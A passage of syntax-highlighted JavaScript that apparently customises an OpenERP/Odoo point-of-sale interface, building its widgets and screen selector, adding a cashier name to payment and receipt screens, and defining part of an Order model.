<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>notification<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>$(<code class="javascript_literal1">'</code><code class="javascript_literal1">#rightheader</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>username <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">UsernameWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code><code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>username<code class="javascript_operator">.</code><code class="javascript_function">replace</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>$(<code class="javascript_literal1">'</code><code class="javascript_literal1">.placeholder-UsernameWidget</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>action_bar <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">ActionBarWidget</code>(<code class="javascript_literal2">this</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>action_bar<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>($(<code class="javascript_literal1">"</code><code class="javascript_literal1">.point-of-sale</code><code class="javascript_literal1"> </code><code class="javascript_literal1">#rightpane</code><code class="javascript_literal1">"</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>left_action_bar <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">ActionBarWidget</code>(<code class="javascript_literal2">this</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>left_action_bar<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>($(<code class="javascript_literal1">"</code><code class="javascript_literal1">.point-of-sale</code><code class="javascript_literal1"> </code><code class="javascript_literal1">#leftpane</code><code class="javascript_literal1">"</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>gotopay <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">GoToPayWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code> <code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>gotopay<code class="javascript_operator">.</code><code class="javascript_function">replace</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">#placeholder-GoToPayWidget</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>paypad <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">PaypadWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code> <code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>paypad<code class="javascript_operator">.</code><code class="javascript_function">replace</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">#placeholder-PaypadWidget</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>numpad <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">NumpadWidget</code>(<code class="javascript_literal2">this</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>numpad<code class="javascript_operator">.</code><code class="javascript_function">replace</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">#placeholder-NumpadWidget</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>order_widget <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">OrderWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code> <code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>order_widget<code class="javascript_operator">.</code><code class="javascript_function">replace</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">#placeholder-OrderWidget</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>onscreen_keyboard <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">OnscreenKeyboardWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code> <code class="javascript_operator">{</code>
<code class="javascript_literal1">'</code><code class="javascript_literal1">keyboard_model</code><code class="javascript_literal1">'</code><code class="javascript_operator">:</code> <code class="javascript_literal1">'</code><code class="javascript_literal1">simple</code><code class="javascript_literal1">'</code>
<code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>onscreen_keyboard<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>($(<code class="javascript_literal1">"</code><code class="javascript_literal1">.point-of-sale</code><code class="javascript_literal1"> </code><code class="javascript_literal1">#content</code><code class="javascript_literal1">"</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>close_button <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">HeaderButtonWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code><code class="javascript_operator">{</code>
<code class="javascript_label">label</code>: <code class="javascript_function">_t</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">Close</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">,</code>
<code class="javascript_label">action</code>: <code class="javascript_keyword1">function</code>()<code class="javascript_operator">{</code> self<code class="javascript_operator">.</code><code class="javascript_function">try_close</code>()<code class="javascript_operator">;</code> <code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>close_button<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>$(<code class="javascript_literal1">'</code><code class="javascript_literal1">#rightheader</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>client_button <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">HeaderButtonWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code><code class="javascript_operator">{</code>
<code class="javascript_label">label</code>: <code class="javascript_function">_t</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">Self-Checkout</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">,</code>
<code class="javascript_label">action</code>: <code class="javascript_keyword1">function</code>()<code class="javascript_operator">{</code> self<code class="javascript_operator">.</code>screen_selector<code class="javascript_operator">.</code><code class="javascript_function">set_user_mode</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">client</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">;</code> <code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>client_button<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>$(<code class="javascript_literal1">'</code><code class="javascript_literal1">#rightheader</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">--------</code><code class="javascript_comment2"> </code><code class="javascript_comment2"> </code><code class="javascript_comment2">Screen</code><code class="javascript_comment2"> </code><code class="javascript_comment2">Selector</code><code class="javascript_comment2"> </code><code class="javascript_comment2">---------</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>screen_selector <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">ScreenSelector</code>(<code class="javascript_operator">{</code>
<code class="javascript_label">pos</code>: <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>pos<code class="javascript_operator">,</code>
<code class="javascript_label">screen_set</code>:<code class="javascript_operator">{</code>
<code class="javascript_literal1">'</code><code class="javascript_literal1">products</code><code class="javascript_literal1">'</code><code class="javascript_operator">:</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>product_screen<code class="javascript_operator">,</code>
<code class="javascript_literal1">'</code><code class="javascript_literal1">payment</code><code class="javascript_literal1">'</code> <code class="javascript_operator">:</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>payment_screen<code class="javascript_operator">,</code>
<code class="javascript_literal1">'</code><code class="javascript_literal1">client_payment</code><code class="javascript_literal1">'</code> <code class="javascript_operator">:</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>client_payment_screen<code class="javascript_operator">,</code>
<code class="javascript_literal1">'</code><code class="javascript_literal1">scale_invite</code><code class="javascript_literal1">'</code> <code class="javascript_operator">:</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>scale_invite_screen<code class="javascript_operator">,</code>
<code class="javascript_literal1">'</code><code class="javascript_literal1">scale</code><code class="javascript_literal1">'</code><code class="javascript_operator">:</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>scale_screen<code class="javascript_operator">,</code>
<code class="javascript_literal1">'</code><code class="javascript_literal1">receipt</code><code class="javascript_literal1">'</code> <code class="javascript_operator">:</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>receipt_screen<code class="javascript_operator">,</code>
<code class="javascript_literal1">'</code><code class="javascript_literal1">welcome</code><code class="javascript_literal1">'</code> <code class="javascript_operator">:</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>welcome_screen<code class="javascript_operator">,</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">popup_set</code>:<code class="javascript_operator">{</code>
<code class="javascript_literal1">'</code><code class="javascript_literal1">help</code><code class="javascript_literal1">'</code><code class="javascript_operator">:</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>help_popup<code class="javascript_operator">,</code>
<code class="javascript_literal1">'</code><code class="javascript_literal1">error</code><code class="javascript_literal1">'</code><code class="javascript_operator">:</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>error_popup<code class="javascript_operator">,</code>
<code class="javascript_literal1">'</code><code class="javascript_literal1">error-product</code><code class="javascript_literal1">'</code><code class="javascript_operator">:</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>error_product_popup<code class="javascript_operator">,</code>
<code class="javascript_literal1">'</code><code class="javascript_literal1">error-session</code><code class="javascript_literal1">'</code><code class="javascript_operator">:</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>error_session_popup<code class="javascript_operator">,</code>
<code class="javascript_literal1">'</code><code class="javascript_literal1">error-negative-price</code><code class="javascript_literal1">'</code><code class="javascript_operator">:</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>error_negative_price_popup<code class="javascript_operator">,</code>
<code class="javascript_literal1">'</code><code class="javascript_literal1">choose-receipt</code><code class="javascript_literal1">'</code><code class="javascript_operator">:</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>choose_receipt_popup<code class="javascript_operator">,</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">default_client_screen</code>: <code class="javascript_literal1">'</code><code class="javascript_literal1">welcome</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code>
<code class="javascript_label">default_cashier_screen</code>: <code class="javascript_literal1">'</code><code class="javascript_literal1">products</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code>
<code class="javascript_label">default_mode</code>: <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>pos<code class="javascript_operator">.</code>iface_self_checkout <code class="javascript_operator">?</code> <code class="javascript_literal1">'</code><code class="javascript_literal1">client</code><code class="javascript_literal1">'</code> <code class="javascript_operator">:</code> <code class="javascript_literal1">'</code><code class="javascript_literal1">cashier</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code>
<code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_keyword1">if</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>pos<code class="javascript_operator">.</code>debug)<code class="javascript_operator">{</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>debug_widget <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">DebugWidget</code>(<code class="javascript_literal2">this</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>debug_widget<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>$(<code class="javascript_literal1">'</code><code class="javascript_literal1">#content</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
module<code class="javascript_operator">.</code>CashierPayScreenWidget <code class="javascript_operator">=</code> module<code class="javascript_operator">.</code>PaymentScreenWidget<code class="javascript_operator">.</code><code class="javascript_function">include</code>(<code class="javascript_operator">{</code>
<code class="javascript_label">template</code>: <code class="javascript_literal1">'</code><code class="javascript_literal1">PaymentScreenWidget</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code>
<code class="javascript_label">show</code>: <code class="javascript_keyword1">function</code>()<code class="javascript_operator">{</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">_super</code>()<code class="javascript_operator">;</code>
<code class="javascript_keyword1">var</code> self <code class="javascript_operator">=</code> <code class="javascript_literal2">this</code><code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>$(<code class="javascript_literal1">'</code><code class="javascript_literal1">#pay-screen-cashier-name</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">html</code>(globalCashier)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>$(<code class="javascript_literal1">'</code><code class="javascript_literal1">#ticket-screen-cashier-name</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">html</code>(globalCashier)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>pos<code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">selectedOrder</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">set_cashier_name</code>(globalCashier)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>paypad <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">PaypadWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code> <code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>paypad<code class="javascript_operator">.</code><code class="javascript_function">replace</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">#placeholder-PaypadWidget</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
module<code class="javascript_operator">.</code>CashierReceiptScreenWidget <code class="javascript_operator">=</code> module<code class="javascript_operator">.</code>ReceiptScreenWidget<code class="javascript_operator">.</code><code class="javascript_function">include</code>(<code class="javascript_operator">{</code>
<code class="javascript_label">refresh</code>: <code class="javascript_keyword1">function</code>() <code class="javascript_operator">{</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">_super</code>()<code class="javascript_operator">;</code>
$(<code class="javascript_literal1">'</code><code class="javascript_literal1">.pos-receipt-container</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>$el)<code class="javascript_operator">.</code><code class="javascript_function">html</code>(QWeb<code class="javascript_operator">.</code><code class="javascript_function">render</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">PosTicket</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code><code class="javascript_operator">{</code>widget<code class="javascript_operator">:</code><code class="javascript_literal2">this</code><code class="javascript_operator">}</code>))<code class="javascript_operator">;</code>
<code class="javascript_keyword1">if</code>(globalCashier <code class="javascript_operator">!</code><code class="javascript_operator">=</code> <code class="javascript_literal1">'</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">{</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>$(<code class="javascript_literal1">'</code><code class="javascript_literal1">#ticket-screen-cashier-name</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">html</code>(globalCashier)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
module<code class="javascript_operator">.</code>GoToPayWidget <code class="javascript_operator">=</code> module<code class="javascript_operator">.</code>PosBaseWidget<code class="javascript_operator">.</code><code class="javascript_function">extend</code>(<code class="javascript_operator">{</code>
<code class="javascript_label">template</code>: <code class="javascript_literal1">'</code><code class="javascript_literal1">GoToPayWidget</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code>
<code class="javascript_label">init</code>: <code class="javascript_keyword1">function</code>(parent<code class="javascript_operator">,</code> options) <code class="javascript_operator">{</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">_super</code>(parent)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">renderElement</code>: <code class="javascript_keyword1">function</code>() <code class="javascript_operator">{</code>
<code class="javascript_keyword1">var</code> self <code class="javascript_operator">=</code> <code class="javascript_literal2">this</code><code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">_super</code>()<code class="javascript_operator">;</code>
<code class="javascript_keyword1">var</code> button <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">GoToPayButtonWidget</code>(self)<code class="javascript_operator">;</code>
button<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>(self<code class="javascript_operator">.</code>$el)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
module<code class="javascript_operator">.</code>GoToPayButtonWidget <code class="javascript_operator">=</code> module<code class="javascript_operator">.</code>PosBaseWidget<code class="javascript_operator">.</code><code class="javascript_function">extend</code>(<code class="javascript_operator">{</code>
<code class="javascript_label">template</code>: <code class="javascript_literal1">'</code><code class="javascript_literal1">GoToPayButtonWidget</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code>
<code class="javascript_label">init</code>: <code class="javascript_keyword1">function</code>(parent<code class="javascript_operator">,</code> options) <code class="javascript_operator">{</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">_super</code>(parent)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">renderElement</code>: <code class="javascript_keyword1">function</code>() <code class="javascript_operator">{</code>
<code class="javascript_keyword1">var</code> self <code class="javascript_operator">=</code> <code class="javascript_literal2">this</code><code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">_super</code>()<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>$el<code class="javascript_operator">.</code><code class="javascript_function">click</code>(<code class="javascript_keyword1">function</code>()<code class="javascript_operator">{</code>
self<code class="javascript_operator">.</code>pos_widget<code class="javascript_operator">.</code>screen_selector<code class="javascript_operator">.</code><code class="javascript_function">set_current_screen</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">payment</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
module<code class="javascript_operator">.</code>Order <code class="javascript_operator">=</code> Backbone<code class="javascript_operator">.</code>Model<code class="javascript_operator">.</code><code class="javascript_function">extend</code>(<code class="javascript_operator">{</code>
<code class="javascript_label">initialize</code>: <code class="javascript_keyword1">function</code>(attributes)<code class="javascript_operator">{</code>
Backbone<code class="javascript_operator">.</code>Model<code class="javascript_operator">.</code>prototype<code class="javascript_operator">.</code>initialize<code class="javascript_operator">.</code><code class="javascript_function">apply</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code> arguments)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">set</code>(<code class="javascript_operator">{</code>
<code class="javascript_label">creationDate</code>: <code class="javascript_keyword1">new</code> <code class="javascript_keyword3">Date</code>()<code class="javascript_operator">,</code>
<code class="javascript_label">orderLines</code>: <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">OrderlineCollection</code>()<code class="javascript_operator">,</code>
<code class="javascript_label">paymentLines</code>: <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">PaymentlineCollection</code>()<code class="javascript_operator">,</code>
<code class="javascript_label">name</code>: <code class="javascript_literal1">"</code><code class="javascript_literal1">Order</code><code class="javascript_literal1"> </code><code class="javascript_literal1">"</code> <code class="javascript_operator">+</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">generateUniqueId</code>()<code class="javascript_operator">,</code>
<code class="javascript_label">client</code>: <code class="javascript_literal2">null</code><code class="javascript_operator">,</code>
<code class="javascript_label">cashier_name</code>: <code class="javascript_literal2">null</code><code class="javascript_operator">,</code>
<code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>pos <code class="javascript_operator">=</code> attributes<code class="javascript_operator">.</code>pos<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>selected_orderline <code class="javascript_operator">=</code> undefined<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>screen_data <code class="javascript_operator">=</code> <code class="javascript_operator">{</code><code class="javascript_operator">}</code><code class="javascript_operator">;</code> <code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">see</code><code class="javascript_comment2"> </code><code class="javascript_comment2">ScreenSelector</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>receipt_type <code class="javascript_operator">=</code> <code class="javascript_literal1">'</code><code class="javascript_literal1">receipt</code><code class="javascript_literal1">'</code><code class="javascript_operator">;</code> <code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">'receipt'</code><code class="javascript_comment2"> </code><code class="javascript_comment2">||</code><code class="javascript_comment2"> </code><code class="javascript_comment2">'invoice'</code>
<code class="javascript_keyword1">return</code> <code class="javascript_literal2">this</code><code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">generateUniqueId</code>: <code class="javascript_keyword1">function</code>() <code class="javascript_operator">{</code>
<code class="javascript_keyword1">return</code> <code class="javascript_keyword1">new</code> <code class="javascript_keyword3">Date</code>()<code class="javascript_operator">.</code><code class="javascript_function">getTime</code>()<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">addProduct</code>: <code class="javascript_keyword1">function</code>(product<code class="javascript_operator">,</code> options)<code class="javascript_operator">{</code>
options <code class="javascript_operator">=</code> options <code class="javascript_operator">|</code><code class="javascript_operator">|</code> <code class="javascript_operator">{</code><code class="javascript_operator">}</code><code class="javascript_operator">;</code>
<code class="javascript_keyword1">var</code> attr <code class="javascript_operator">=</code> product<code class="javascript_operator">.</code><code class="javascript_function">toJSON</code>()<code class="javascript_operator">;</code>
attr<code class="javascript_operator">.</code>pos <code class="javascript_operator">=</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>pos<code class="javascript_operator">;</code>
attr<code class="javascript_operator">.</code>order <code class="javascript_operator">=</code> <code class="javascript_literal2">this</code><code class="javascript_operator">;</code>
<code class="javascript_keyword1">var</code> line <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">Orderline</code>(<code class="javascript_operator">{</code><code class="javascript_operator">}</code><code class="javascript_operator">,</code> <code class="javascript_operator">{</code>pos<code class="javascript_operator">:</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>pos<code class="javascript_operator">,</code> order<code class="javascript_operator">:</code> <code class="javascript_literal2">this</code><code class="javascript_operator">,</code> product<code class="javascript_operator">:</code> product<code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_keyword1">if</code>(options<code class="javascript_operator">.</code>quantity <code class="javascript_operator">!</code><code class="javascript_operator">=</code><code class="javascript_operator">=</code> undefined)<code class="javascript_operator">{</code>
line<code class="javascript_operator">.</code><code class="javascript_function">set_quantity</code>(options<code class="javascript_operator">.</code>quantity)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>
<code class="javascript_keyword1">if</code>(options<code class="javascript_operator">.</code>price <code class="javascript_operator">!</code><code class="javascript_operator">=</code><code class="javascript_operator">=</code> undefined)<code class="javascript_operator">{</code>
line<code class="javascript_operator">.</code><code class="javascript_function">set_unit_price</code>(options<code class="javascript_operator">.</code>price)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>
<code class="javascript_keyword1">var</code> last_orderline <code class="javascript_operator">=</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">getLastOrderline</code>()<code class="javascript_operator">;</code>
<code class="javascript_keyword1">if</code>( last_orderline <code class="javascript_operator">&</code><code class="javascript_operator">&</code> last_orderline<code class="javascript_operator">.</code><code class="javascript_function">can_be_merged_with</code>(line) <code class="javascript_operator">&</code><code class="javascript_operator">&</code> options<code class="javascript_operator">.</code>merge <code class="javascript_operator">!</code><code class="javascript_operator">=</code><code class="javascript_operator">=</code> <code class="javascript_literal2">false</code>)<code class="javascript_operator">{</code>
last_orderline<code class="javascript_operator">.</code><code class="javascript_function">merge</code>(line)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_keyword1">else</code><code class="javascript_operator">{</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">orderLines</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">add</code>(line)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">selectLine</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">getLastOrderline</code>())<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">removeOrderline</code>: <code class="javascript_keyword1">function</code>( line )<code class="javascript_operator">{</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">orderLines</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">remove</code>(line)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">selectLine</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">getLastOrderline</code>())<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">getLastOrderline</code>: <code class="javascript_keyword1">function</code>()<code class="javascript_operator">{</code>
<code class="javascript_keyword1">return</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">orderLines</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">at</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">orderLines</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code>length <code class="javascript_operator">-</code><code class="javascript_digit">1</code>)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">addPaymentLine</code>: <code class="javascript_keyword1">function</code>(cashRegister) <code class="javascript_operator">{</code>
<code class="javascript_keyword1">var</code> paymentLines <code class="javascript_operator">=</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">paymentLines</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">;</code>
